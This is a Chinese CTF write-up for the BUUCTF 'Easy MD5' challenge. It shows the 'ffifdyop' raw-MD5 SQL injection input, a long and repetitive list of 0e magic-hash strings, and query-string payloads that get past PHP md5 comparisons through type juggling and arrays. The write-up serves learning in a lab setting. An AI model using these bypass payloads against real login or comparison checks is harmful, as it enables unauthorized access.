BUU-[BJDCTF2020]Easy MD5-WP

知识点:MD5加密及科学计数法绕过,数组绕过

打开靶机,利用bp进行抓包,观察头部信息:

这里输入字符为 ffifdyop:

 md5函数在指定了true的时候,是返回的原始 16 字符的二进制格式,

所以需要一个字符串,它可以通过md5加密后进行sql注入,也就是说,'or'是必需的,因为要匹配sql语句里的''嘛,而已知'or'的16进制为:276f7227,也就是说我们需要找到一个字符串,它被md5加密后会含有276f7227,与万能密码原理类似。

而像这样的字符串有

129581926211651571912466741651878684928

ffifdyop

之后我们进入新的页面:

 

 

f12查看源码可知:

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

 也就是说,需要我们找到字符串a与b不同,但在md5加密后相同的字符串

这里用到科学计数法和数组绕过:

科学计数法:

我们只需找到md5值都是两个0e开头的字符串即可,php里面在做 ==,!= 的时候会先把两边的类型转成一样的,0e开头,php会认为它是科学计数法,两边都是0。这样既可完成md5碰撞。

md5加密后为0e开头这样的字符串有:

QNKCDZO

0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
 

随便找两个带入:

?a=s878926199a&b=s155964671a

数组绕过

因为md5无法处理数组类型,那么输入数组的时候,返回全是Null,两边相等即可满足绕过条件:

?a[]=2&b[]=1

post传参后得到:

 

这里是===,科学计数法不可用,但仍然可1用数组绕过,最后得到flag 

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值